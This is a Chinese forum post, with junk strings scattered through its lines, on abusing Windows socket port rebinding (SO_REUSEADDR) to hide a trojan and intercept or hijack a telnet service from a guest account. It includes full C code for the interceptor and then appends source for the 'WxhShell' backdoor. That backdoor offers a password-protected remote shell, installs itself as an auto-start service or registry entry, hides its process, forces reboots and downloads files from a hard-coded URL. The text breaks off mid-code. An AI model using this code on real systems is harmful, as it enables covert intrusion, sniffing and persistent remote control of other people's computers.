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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: PaDm"+H@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T9>,Mx%D[  
K8v@)  
  saddr.sin_family = AF_INET; a,xy3 8T<  
aMxM3"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ABq#I'H#@2  
:{-/b  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); FlbM(ofY  
r;"Qu  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 GCxmqoQ  
}AS3]Lub@  
  这意味着什么?意味着可以进行如下的攻击: 8(!?y[  
h~Z:YY)4  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^jk-GRD*  
rFW,x_*_vP  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Ma ]*Pled  
YgQb(umK  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 y@ c[S;  
tR?)C=4,  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {CgF{7`  
U6YQ*%mZ_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 \.=,}sV2Z  
L~Xzo  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 :M@#.  
c$;Cpt@-j  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 byk9"QeY\  
{@t6[g++  
  #include '*K%\]  
  #include CI|#,^  
  #include @3?dI@i(  
  #include    =vb'T  
  DWORD WINAPI ClientThread(LPVOID lpParam);   y*-D  
  int main() )jw!, "_4  
  { yM?jiy  
  WORD wVersionRequested; \?$kpV  
  DWORD ret; FMl_I26]  
  WSADATA wsaData; V~QOl=`K:  
  BOOL val; L,sXJ23.  
  SOCKADDR_IN saddr; I\= &v^]  
  SOCKADDR_IN scaddr; 9*(uJA  
  int err; uA\KbA.c;U  
  SOCKET s; I%mGb$ Q  
  SOCKET sc; 4CxU eq  
  int caddsize; DV!0zzJ  
  HANDLE mt; #\6k_toZ  
  DWORD tid;   yONX?cS  
  wVersionRequested = MAKEWORD( 2, 2 ); GP=bp_L  
  err = WSAStartup( wVersionRequested, &wsaData ); l0%7u  
  if ( err != 0 ) { x!fRT.,}  
  printf("error!WSAStartup failed!\n"); k.%FGn'fR  
  return -1; ~01t_Xp qc  
  }  [4mIww%  
  saddr.sin_family = AF_INET; Ro#O{  
   &M #}?@!C  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 oLt%i:,A  
$A)[s$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); t<SCrLbz  
  saddr.sin_port = htons(23); ,d8*7my  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y>CZ  
  { 6KX/Yj~B  
  printf("error!socket failed!\n"); 2))p B/  
  return -1; 1HeE$  
  } JiX-t\V~  
  val = TRUE; zoau5t  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 !Ic~_7"  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 3Zm;:v4y  
  { t'HrI-x  
  printf("error!setsockopt failed!\n"); ,'@t .XP  
  return -1; Nkk+*(Z  
  } %p^`,b}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^{64b  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 e @|uG%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -D wO*f  
Ots]y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) S\6.vw!'  
  { \WM"VT  
  ret=GetLastError(); dMa6hI{k  
  printf("error!bind failed!\n"); 3/CKy##r%]  
  return -1; %5<Xa  
  } y+M9{[ i/O  
  listen(s,2); h:r:qk  
  while(1) f|{&Y2h(R  
  { =u.hHkx  
  caddsize = sizeof(scaddr); Ym9~/'%]  
  //接受连接请求 _[y<u})  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); {s?x NU  
  if(sc!=INVALID_SOCKET) =la~D]T*g  
  { ;2547b[ ]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @E?o~jO(e  
  if(mt==NULL) dz )(~@tgz  
  { #$ ,b )Uy  
  printf("Thread Creat Failed!\n"); +<sv/gEt  
  break; Vd A!tL  
  } q)y<\cEO  
  } e^-CxHwA-  
  CloseHandle(mt); ~L9I@(/ S  
  } LbnW(wr6:(  
  closesocket(s); G g{M  
  WSACleanup(); N[sJ5oF  
  return 0; Rrp-SR?O  
  }   #9q ]jjH E  
  DWORD WINAPI ClientThread(LPVOID lpParam) ]U.*KkQ  
  { 1m<8M[6u  
  SOCKET ss = (SOCKET)lpParam; DP!~WkU~  
  SOCKET sc; 2h`Tn{&1/  
  unsigned char buf[4096]; 'A'[N :i  
  SOCKADDR_IN saddr; ?PU7xO;_  
  long num; \mNN ) K@  
  DWORD val; Vv*](iM  
  DWORD ret; nRheByYm  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Z<[:v2  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   fD2 )/5j1  
  saddr.sin_family = AF_INET; T!t9`I0Zz  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); dEPLkv  
  saddr.sin_port = htons(23); tIo b  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^8 cq qu  
  { ulNMqz\.  
  printf("error!socket failed!\n"); kB_T9$0e#  
  return -1; =$\9t$A  
  } |6b&khAM  
  val = 100; Ko %e#q-  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Si-Q'*Y=  
  { 4.q^r]m*  
  ret = GetLastError(); *+j r? |  
  return -1; (vwKC D&  
  } nYy+5u]FG  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8l >Xbz  
  { 1krSX 2L  
  ret = GetLastError(); e}TDo`q  
  return -1; GyQvodqD  
  } Qv1cf  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &Yd6w}8  
  { S X[  
  printf("error!socket connect failed!\n"); h|OWtf4  
  closesocket(sc); `"y:/F"{  
  closesocket(ss); @$5= 4HA  
  return -1; y*#+:D]o*  
  } mIv}%hD  
  while(1) wfQImCZ>l  
  { REJHh\:.77  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 LMI7Ih;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 5GDg_9Bz  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .FA99|:  
  num = recv(ss,buf,4096,0); )Qh*@=$-  
  if(num>0) MCl-er"]D  
  send(sc,buf,num,0); "$A5:1;  
  else if(num==0) %(:{TR  
  break; o8N,mGj}  
  num = recv(sc,buf,4096,0); P}"uC`036  
  if(num>0) )8_MkFQe  
  send(ss,buf,num,0); Y {|is2M9'  
  else if(num==0) &M6Zsmo  
  break; u4DrZ-v  
  } m`Pk)c0  
  closesocket(ss); Sn[/'V^$a  
  closesocket(sc); Te7xj8<  
  return 0 ; YZ6" s-  
  } 5>aK4: S/  
-{NP3zy  
% \Mc6  
========================================================== _3q}K  
+nL#c{  
下边附上一个代码,,WXhSHELL j5rMY=|F  
W>&!~9H  
========================================================== h8icF}m  
[R<>3}50Y  
#include "stdafx.h" Z=(Tq1t  
qI*7ToBJ  
#include <stdio.h> hp}JKj@  
#include <string.h> ku GaOO  
#include <windows.h> =4gPoS  
#include <winsock2.h> |2Uw8M7.E  
#include <winsvc.h> Uz%2{HB@{  
#include <urlmon.h> <aY>fg d/1  
Em(Okr,0  
#pragma comment (lib, "Ws2_32.lib") >LJ<6s[=  
#pragma comment (lib, "urlmon.lib") %+ytX]E  
uj+{ tc  
#define MAX_USER   100 // 最大客户端连接数 8LUl@!4b  
#define BUF_SOCK   200 // sock buffer C@u}tH )  
#define KEY_BUFF   255 // 输入 buffer Op:$7hv  
x;A.Ll  
#define REBOOT     0   // 重启 "%#CMCE|f  
#define SHUTDOWN   1   // 关机 5E =!L g  
LR3>_t  
#define DEF_PORT   5000 // 监听端口 RM>A9nv$\  
$J#Z`%B^y  
#define REG_LEN     16   // 注册表键长度 ,@\z{}~v  
#define SVC_LEN     80   // NT服务名长度 hP$5>G(3  
5 hW#BB  
// 从dll定义API b"w@am>&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e'.CIspN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); .z^O y_S{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ubM  N  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `@{(ijg.  
0/uy'JvWru  
// wxhshell配置信息 ZP ]Ok  
struct WSCFG { ?Cv([ ^Y.u  
  int ws_port;         // 监听端口 FIx|4[&>S  
  char ws_passstr[REG_LEN]; // 口令 b(t8TR#-  
  int ws_autoins;       // 安装标记, 1=yes 0=no WAJ KP"  
  char ws_regname[REG_LEN]; // 注册表键名 Q;GcV&f;f  
  char ws_svcname[REG_LEN]; // 服务名 u-*z#e_L0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 IUz`\BO4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S2>$S^[U  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G|TnvZ KX  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ha7mXGN%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8Z3:jSgk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K9 +\Z  
?RS4oJz,5g  
}; _}.WRFIJ@L  
wV\G$|Y  
// default Wxhshell configuration #"fn;  
struct WSCFG wscfg={DEF_PORT, Gh 352  
    "xuhuanlingzhe", 3gtKD9RL:  
    1, -B#K}xL|x  
    "Wxhshell", "^wIixOH5  
    "Wxhshell", ;7*T6~tv  
            "WxhShell Service", ??lsv(v-  
    "Wrsky Windows CmdShell Service", t :~,7  
    "Please Input Your Password: ", l[C_vUg  
  1, 8+H 0  
  "http://www.wrsky.com/wxhshell.exe", =]1cVnPI  
  "Wxhshell.exe" )nrYxxN  
    }; )>@%;\qV  
OxUc,%e9P  
// 消息定义模块 35L\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7MsJ*E n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; HubK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; NDJP`FI  
char *msg_ws_ext="\n\rExit."; t:b}Mo0  
char *msg_ws_end="\n\rQuit."; aLlHR_  
char *msg_ws_boot="\n\rReboot..."; @WiTh'w0  
char *msg_ws_poff="\n\rShutdown..."; t<"%m)J  
char *msg_ws_down="\n\rSave to "; 4vV\vXT*  
}$LnjwM;,  
char *msg_ws_err="\n\rErr!"; KyBtt47\  
char *msg_ws_ok="\n\rOK!"; 8Wgzca Q*  
N:~4>p44[  
char ExeFile[MAX_PATH]; [~c_Aa+6N  
int nUser = 0; v# e*RI2}  
HANDLE handles[MAX_USER]; ).-#  
int OsIsNt; 1 hD(l6tG@  
gw^W6v  
SERVICE_STATUS       serviceStatus; q *kLi~ Oe  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9FPqd8(]*V  
N#XC%66qy!  
// 函数声明 n3j_=(  
int Install(void); Uyxn+j 5  
int Uninstall(void); `ZT/lB`  
int DownloadFile(char *sURL, SOCKET wsh); >< VUly  
int Boot(int flag); _&S;*?K.  
void HideProc(void); rV} 5&N*c  
int GetOsVer(void); iJ @p:  
int Wxhshell(SOCKET wsl); 3*\hGt,ZP  
void TalkWithClient(void *cs); aU_l"+5>vq  
int CmdShell(SOCKET sock); NE4]i  
int StartFromService(void); #^(Yw|/K  
int StartWxhshell(LPSTR lpCmdLine); G ]uz$V6!  
|;&I$'i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K(HrwH`a{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'p@m`)Z  
)0g!lCfb  
// 数据结构和表定义 q$"?P  
SERVICE_TABLE_ENTRY DispatchTable[] = .`(YCn?\  
{ |~&cTDd  
{wscfg.ws_svcname, NTServiceMain}, hBV m; `  
{NULL, NULL} \S&OAe/b  
}; %(]B1Zg6,  
D1@yW} 4  
// 自我安装 L >)|l  
int Install(void) W8r"dK  
{ bZ^'_OOn  
  char svExeFile[MAX_PATH]; <":83RCS  
  HKEY key; i0*Cs#(=h  
  strcpy(svExeFile,ExeFile); T Qx<lw  
57O|e/2  
// 如果是win9x系统,修改注册表设为自启动 6ND*L0  
if(!OsIsNt) { ;mC|> wSZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *`LrvE@t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JSmg6l?[u  
  RegCloseKey(key); Ql9>i;AGV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1_l)$"  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +KWO`WR  
  RegCloseKey(key); 6/T/A+u  
  return 0; P&<NcOCL&  
    } 'Gamb+[  
  } $s-B  
} IiJ$Ng  
else { t=|}?lN<  
)u4=k(  
// 如果是NT以上系统,安装为系统服务 ]7oo`KcQ|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?GqH/ (O  
if (schSCManager!=0) $yq76  
{ .}T-R?  
  SC_HANDLE schService = CreateService #_ UP}G$  
  ( *ae)<l3v  
  schSCManager, lY2~{Y|4s  
  wscfg.ws_svcname, u J]uz%  
  wscfg.ws_svcdisp, GG-b)64h`  
  SERVICE_ALL_ACCESS, [:q J1^UU  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f6nuh&!-  
  SERVICE_AUTO_START, UZmo?&y  
  SERVICE_ERROR_NORMAL, f.bwA x  
  svExeFile, rixVIfVF  
  NULL, OW@"j;6 3`  
  NULL, :$gs7<z{rm  
  NULL, atw*t1)g  
  NULL, jeJspch+#  
  NULL c;!| =  
  ); h9!4\{V;h  
  if (schService!=0) [9j,5d&m  
  { 2|] <U[  
  CloseServiceHandle(schService); "5'eiYm s  
  CloseServiceHandle(schSCManager); O*!f%}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~b0l?P*Ff  
  strcat(svExeFile,wscfg.ws_svcname); f8V )nM+v"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2J%L%6z8~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); IXlk1tHN4I  
  RegCloseKey(key); 4\k{E-x $  
  return 0; uI& 0/  
    } l!W!Gz0to  
  } 33wVP}e5  
  CloseServiceHandle(schSCManager); MPn/"Fij$  
} +$xw0)|  
} 7i'clB9!  
)s4: &!  
return 1; N}<!k#d E  
} ~ 4Mz:h^  
g0;;+z  
// 自我卸载 {P\Ob0)q  
int Uninstall(void) {K}Dpy  
{ P}(c0/  
  HKEY key; a=x &sz\x  
dmcY]m  
if(!OsIsNt) { L/,g D.h^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (w\|yPBB  
  RegDeleteValue(key,wscfg.ws_regname); 1 3)6p|6x  
  RegCloseKey(key); [dUAb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -o~n 06p  
  RegDeleteValue(key,wscfg.ws_regname); aY;34SF  
  RegCloseKey(key); "gzn%k[D9m  
  return 0; vu}U2 0@  
  } !0UfX{.  
} ;l<Hen*  
} 49O_A[(d  
else { =<)/lz] H  
(l9jczi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >Q^ mR  
if (schSCManager!=0) %cDDu$9;  
{ [eBt Dc*w  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Evqy e;  
  if (schService!=0) L; A#N9  
  { ^,?>6O  
  if(DeleteService(schService)!=0) { [;4ak)!  
  CloseServiceHandle(schService); "}ur"bU1  
  CloseServiceHandle(schSCManager); gB+CM? LKq  
  return 0; ygX!'evY  
  } ,,6lQ]wG  
  CloseServiceHandle(schService); ;-l^X%r  
  } |nr;OM  
  CloseServiceHandle(schSCManager); 4>fj @X(3  
} a?4Asn  
} ~m0=YAlk?  
C8YStT  
return 1; TiZ MY:^  
} )56L`5#tS  
gp~-n7'~O  
// 从指定url下载文件 O U9{Y9e  
int DownloadFile(char *sURL, SOCKET wsh) r2PN[cLu|  
{ (2"4PU8  
  HRESULT hr; -*Qg^1]i+  
char seps[]= "/"; 1=E}X5  
char *token; rM6S%rS  
char *file; {{[@ X  
char myURL[MAX_PATH]; z|Xt'?9&n  
char myFILE[MAX_PATH]; Z0D&ayzkh^  
T nyLVIP  
strcpy(myURL,sURL); dVGcth;  
  token=strtok(myURL,seps); Z=%u:K}[  
  while(token!=NULL) '%:E4oI  
  { 1rU\ !GfR  
    file=token; B6\/xKmv?8  
  token=strtok(NULL,seps); S$R=!3* "V  
  } .L^;aL  
eI|~neh  
GetCurrentDirectory(MAX_PATH,myFILE); YnDaB px  
strcat(myFILE, "\\"); MrOtsX  
strcat(myFILE, file); ^L Xr4  
  send(wsh,myFILE,strlen(myFILE),0); R`@7f$;wG  
send(wsh,"...",3,0); `/wXx5n5<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~x_(v,NW  
  if(hr==S_OK) Z/v )^VR  
return 0; B>z^W+Unyn  
else C:bA:O  
return 1; <S;YNHLC  
XRyeEwA;pp  
} m9jjKu]|  
;i+(Q%LO  
// 系统电源模块 `Pwf?_2n-  
int Boot(int flag) 2)n%rvCQ  
{ Pl#u ,Y  
  HANDLE hToken; 1hV&/Qr  
  TOKEN_PRIVILEGES tkp; /w2IL7}  
~{kA;uw  
  if(OsIsNt) { >SYOtzg%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d)XT> &  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KpS=oFX{}  
    tkp.PrivilegeCount = 1; YxA nh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y] Cx[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]#q$i[Y  
if(flag==REBOOT) { Aqg$q* Y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?9 `T_,  
  return 0; a<+Rw{  
} ,p\*cHB9  
else { ,pkzNe`F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `fVzY"Qv k  
  return 0; cRf;7G  
} ~Sd,Tu%:  
  } 5VfpeA `  
  else { y4!fu<[i  
if(flag==REBOOT) { +l7Bu}_?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -ucR@P]  
  return 0; }:0HM8B7!  
} =umF C[. W  
else { lb"T'} q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +OB&PE  
  return 0; Q-U,1b  
} gKIN* Od  
} (KfdN'vW  
H-X5A\\5  
return 1; WFqOVI*l  
} A7|x|mW  
'64/2x  
// win9x进程隐藏模块 jd 8g0^  
void HideProc(void) &N %-.&t'  
{ 2fPMZ7Zd3  
`0{qfms  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U?(,Z$:N  
  if ( hKernel != NULL ) mj9]M?]  
  { X<1ymb3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [FWB  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W}wd?WIps  
    FreeLibrary(hKernel); H@k$sZ.  
  } ^1--7#H  
2Paw*"U  
return; #KtV4)(  
} P|aSbsk:I<  
#`"B YFV[E  
// 获取操作系统版本 ;:Kc{B.s  
int GetOsVer(void) q93V'[)F  
{ i{J[;rV9  
  OSVERSIONINFO winfo; >>=v`}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z_z '3d.r7  
  GetVersionEx(&winfo); a1weTn*  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) RZj06|r8  
  return 1; <)@^TRS  
  else _)# ~D*3  
  return 0; D,uT#P  
} HlX7A 1i/  
ACgWT  
// 客户端句柄模块 &0-Pl.M  
int Wxhshell(SOCKET wsl) H{Na'_sL  
{ 27H4en; o=  
  SOCKET wsh; 9AQ2FD  
  struct sockaddr_in client; Aq/wa6^%  
  DWORD myID; WS$~o*Z8  
m(WVxVB  
  while(nUser<MAX_USER) Y XxWu8  
{ Zt4 r_ 7  
  int nSize=sizeof(client); HL!"U (_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D/WzYc2h]  
  if(wsh==INVALID_SOCKET) return 1; @jD19=  
j7HOh|q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "QY~V{u5  
if(handles[nUser]==0) jH4Wu`r;m  
  closesocket(wsh); 9p"';*{=  
else m$q*  
  nUser++; It^_?oiK  
  } }HZ'i;~r|9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); KhbbGdmfS$  
;{cl*EN  
  return 0; v8A{ q  
} QOF'SEq"k  
:#W>lq@H  
// 关闭 socket w;^7FuBaC  
void CloseIt(SOCKET wsh) 0'*'%Iga  
{ Cd7d-'EQn  
closesocket(wsh); 5c l%>U  
nUser--; !E\J`K0_e  
ExitThread(0); SCMZ-^b  
} `3F/7$q_  
qk(u5Z  
// 客户端请求句柄 *(<3 oIRS  
void TalkWithClient(void *cs) -QP1Se*#  
{ u+e.{Z!  
oRCD8b?  
  SOCKET wsh=(SOCKET)cs; aeF^&F0  
  char pwd[SVC_LEN]; eD 7Rv<  
  char cmd[KEY_BUFF]; Z?'){\$*  
char chr[1]; knZ<V%/e  
int i,j; 1uhSP!b  
i'vjvc~  
  while (nUser < MAX_USER) { q]t^6m&-  
!GVxQll[f  
if(wscfg.ws_passstr) { ' 9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); & |o V\L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Jz\'%O'  
  //ZeroMemory(pwd,KEY_BUFF); NW;wy;;  
      i=0; w2`j&]D6  
  while(i<SVC_LEN) { aw/5#(1R  
n 6|\  
  // 设置超时 R2[!h1nZ  
  fd_set FdRead; Rd*/J~TK  
  struct timeval TimeOut; "mkTCR^]e  
  FD_ZERO(&FdRead); ,cFp5tV$  
  FD_SET(wsh,&FdRead); sFxciCpN  
  TimeOut.tv_sec=8; "'"dcA   
  TimeOut.tv_usec=0; -n'%MT=Cd  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); doaqHri\,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y~M  H  
]7{-HuQ8>}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \>-%OcYlM  
  pwd=chr[0]; U z6XQskX  
  if(chr[0]==0xd || chr[0]==0xa) { mCx6$jz  
  pwd=0; O k~\  
  break; zHCz[jlrMq  
  } U=bZy,FT$  
  i++; 7e&%R4{b  
    } v<Ux+-  
[t`QV2um  
  // 如果是非法用户,关闭 socket _/!IjB:(70  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c8jq.y v  
} u5FlT3hY.  
= 8%+$vX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bx<7@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /P|jHK|{  
FeFH_  
while(1) { #VEHyz6P  
I2'UC) 0  
  ZeroMemory(cmd,KEY_BUFF); _sCpyu  
2xd G&}$fa  
      // 自动支持客户端 telnet标准   P1ab2D  
  j=0; ]Z\.Vx  
  while(j<KEY_BUFF) { 4<&`\<jZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vH#^|u  
  cmd[j]=chr[0]; L1k_AC1.M  
  if(chr[0]==0xa || chr[0]==0xd) { <[7.+{qfW  
  cmd[j]=0; f"5vpU^5*  
  break; [nlW}1)46  
  } QY<2i-A  
  j++; wy$9QN  
    } lH^[b[  
R@r"a&{/  
  // 下载文件 r#pC0Yj!3  
  if(strstr(cmd,"http://")) { _`zj^*%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 6F3#Rxh  
  if(DownloadFile(cmd,wsh)) 7=8e|$K_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZWSYh>"  
  else OE/O:F:1j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); puz~Rfn#*  
  } X@)5F 9  
  else { {e?D6`#x  
mPxph>o  
    switch(cmd[0]) { 9_F2nmEv  
  9Qb_BNUo  
  // 帮助 yg gQ4y6  
  case '?': { #^v|u3^DD  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GRb"jF>ut  
    break; o84!$2P+w  
  } ;p#)z/zZ  
  // 安装 MI@id  
  case 'i': { ?j8F5(HF?  
    if(Install()) B@l/'$G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l M5Xw  
    else u%S&EuX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yla&/K;|*  
    break; F%x8y  
    } @%K@oDL  
  // 卸载 Jn. WbS  
  case 'r': { g~Zel}h#  
    if(Uninstall()) ,\f!e#d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `Q*L!/K+  
    else nmVL%66K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); { CkxUec  
    break; 5/Q^p"  
    } <ok/2v  
  // 显示 wxhshell 所在路径 ,&!Txyye  
  case 'p': { n9Z|69W6>  
    char svExeFile[MAX_PATH]; ^e>`ob  
    strcpy(svExeFile,"\n\r"); ]v3 9ag_hu  
      strcat(svExeFile,ExeFile); tm(.a ?p  
        send(wsh,svExeFile,strlen(svExeFile),0); #!KbqRt  
    break; .Kr?vD^nG  
    } v*1UNXU\  
  // 重启 >9(lFh0P  
  case 'b': { QdL ;|3K9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n97A'"'wz  
    if(Boot(REBOOT)) wz5xJ:Tj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); keEyE;O}u  
    else { 70l"[Y  
    closesocket(wsh);  tQB+_q z  
    ExitThread(0); Ym5q#f)|  
    } { D1.  
    break; T2 0dZ8{y  
    } _YY:}'+  
  // 关机 b:Dr _|  
  case 'd': { )W~w72j-  
